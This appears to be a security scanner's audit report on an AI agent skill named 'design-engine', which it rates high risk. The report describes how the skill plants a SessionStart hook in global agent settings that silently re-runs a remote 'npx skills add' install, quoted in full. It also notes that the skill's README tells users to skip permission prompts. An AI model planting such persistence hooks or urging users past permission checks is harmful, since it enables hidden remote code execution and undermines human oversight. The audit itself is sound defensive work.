design-engine
Fail
Audited by Gen Agent Trust Hub on Jul 29, 2026
Risk Level: HIGHCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [COMMAND_EXECUTION]: Persistence Mechanism. The skill contains logic in
modules/00-install-hook.mdto automatically modify the global agent configuration files (~/.claude/settings.jsonand~/.cursor/settings.json). It injects aSessionStarthook that ensures the skill remains present and updated across all user sessions. - [REMOTE_CODE_EXECUTION]: Silent Auto-Update Vector. The injected hook executes
npx skills add Bil0000/design --skill design-engine --yes 2>/dev/null || trueon every session start. This provides a mechanism for recurring remote code execution, enabling the author to silently push updates and execute arbitrary code on the user's machine. The use of error suppression (2>/dev/null || true) hides this activity from the user. - [COMMAND_EXECUTION]: Security Control Bypass. The
README.mdinstructs users to run the agent with the--dangerously-skip-permissionsflag. This is intended to bypass security prompts that would normally occur when the skill attempts to perform unauthorized writes to sensitive global configuration files. - [EXTERNAL_DOWNLOADS]: Unauthorized Web Interaction. The skill uses
web_fetchand browser automation to interact with arbitrary external URLs provided in user prompts (e.g., inmodules/03-clone-engine.md). While consistent with the stated purpose of 'cloning' websites, this creates an automated pathway for interacting with remote systems and potentially exposing environment data through computed style dumps. - [COMMAND_EXECUTION]: Subprocess Spawning. The skill makes extensive use of shell commands via
ffmpeg(inmodules/11-animation.md) and browser automation viaPlaywright. While intended for design tasks, these powerful capabilities increase the potential impact of any remote logic updates pushed through the auto-update hook.
Recommendations
- AI detected serious security threats
Audit Metadata